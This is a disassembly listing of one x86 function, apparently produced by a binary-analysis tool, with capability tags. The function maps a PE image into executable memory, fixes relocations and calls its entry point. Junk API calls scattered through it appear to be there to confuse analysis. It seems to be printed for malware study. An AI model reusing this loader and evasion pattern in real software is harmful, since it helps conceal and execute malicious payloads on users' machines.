Function at 0x408430
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Enumerate pe sections
Execute shellcode via indirect call
Get disk information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
xor edi, edi
push str.kernel32.dll
mov dword [ebx], edi
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], ecx
call esi
mov dword [ebp - 0x218], eax
mov eax, dword [ebx + 0x20]
mov edx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], dx
je 0x4084b5
call dword [sym.imp.USER32.dll_GetFocus]
push edi
call dword [sym.imp.GDI32.dll_GetStockObject]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call esi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebx], edi
jmp 0x408854
add eax, dword [eax + 0x3c]
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
je 0x408525
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0xffffffffffffffff
push edi
push 1
push 0x1f0001
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
push 0
push 0
push 0x1f0001
call esi
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebx], 0
jmp 0x408854
mov edx, dword [eax + 0x50]
mov eax, dword [eax + 0x34]
push 0x40
push 0x1000
push edx
push eax
lea ecx, [ebp - 0x214]
push ecx
call fcn.00407ee0
mov edx, dword [ebp - 0x214]
push 1
mov dword [ebx + 0xc], edx
call dword [sym.imp.USER32.dll_GetSysColor]
call dword [sym.imp.USER32.dll_GetCursor]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x12f4
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0x26
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebx + 0xc], edi
jne 0x40860c
push 0x208
lea ecx, [ebp - 0x20e]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x210], ax
call fcn.0040f2f0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4085e4
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edx, dword [ebx + 8]
mov eax, dword [edx + 0x50]
push 0x40
push 0x2000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
cmp eax, edi
jne 0x40860c
call fcn.00407980
mov dword [ebx], edi
jmp 0x408854
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call esi
push edi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
call fcn.00407a90
push 0x14
push edi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], ecx
mov eax, dword [ebx + 0x24]
cmp eax, edi
je 0x40864a
mov edx, dword [ebx + 0xc]
mov dword [eax], edx
mov eax, dword [ebx]
mov dword [eax + 0xc], edi
mov ecx, dword [ebx]
mov dword [ecx + 8], edi
mov edx, dword [ebx]
mov dword [edx + 0x10], edi
mov eax, dword [ebx + 8]
mov ecx, dword [eax + 0x50]
mov edi, dword [ebx + 0xc]
push 0x1000
push ecx
mov ecx, 0x40
lea esi, [ebp - 0x214]
call fcn.00407f50
mov edx, dword [ebp - 0x214]
mov eax, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebx + 0x10], edx
mov esi, dword [eax + 0x54]
call fcn.00407af0
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], eax
mov esi, dword [ecx + 0x3c]
add esi, dword [edx + 0x54]
push esi
push ecx
push eax
call fcn.0040e7a0
mov eax, dword [ebx + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x10]
mov edx, dword [ebx]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ebx + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x20]
push eax
push ecx
push edx
call fcn.00408120
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x4086f8
push eax
mov eax, dword [ebx]
call fcn.00407e50
add esp, 4
mov eax, dword [ebx]
push eax
call fcn.004081f0
add esp, 4
test eax, eax
je 0x408839
mov edx, dword [ebp - 0x218]
push 0x42346c
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x220], eax
mov eax, dword [ebx]
mov dword [ebp - 0x218], eax
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
mov dword [ebp - 0x214], 0
cmp dx, word [eax + 6]
jae 0x408816
lea edi, [ecx + 0x24]
mov edi, edi
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x408794
mov eax, dword [edi - 0x1c]
mov esi, dword [edi - 0x14]
mov dword [ebp - 0x21c], eax
call fcn.00407c30
mov ecx, dword [ebp - 0x21c]
push 0x4000
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4087f2
lea edx, [edx + ecx*2]
lea ecx, [esi + edx*2]
mov edx, dword [ecx*4 + 0x42e1b0]
test eax, 0x4000000
je 0x4087ae
or edx, 0x200
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4087d9
test al, 0x40
je 0x4087c6
mov eax, dword [ebp - 0x218]
mov eax, dword [eax]
mov ecx, dword [eax + 0x20]
jmp 0x4087d5
test al, al
jns 0x4087f2
mov ecx, dword [ebp - 0x218]
mov eax, dword [ecx]
mov ecx, dword [eax + 0x24]
test ecx, ecx
je 0x4087f2
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x4087f2
lea esi, [ebp - 0x224]
push esi
push edx
mov edx, dword [edi - 0x1c]
push ecx
push edx
call eax
mov ecx, dword [ebp - 0x218]
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x214]
movzx edx, word [ecx + 6]
inc eax
add edi, 0x28
mov dword [ebp - 0x214], eax
cmp eax, edx
jl 0x408750
mov eax, dword [ebx]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x408854
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
je 0x408839
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x40884b
push 0
mov dword [ebx], 0
call fcn.00408090
add esp, 4
jmp 0x408854
mov edx, dword [ebx]
mov dword [edx + 0x10], 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret 8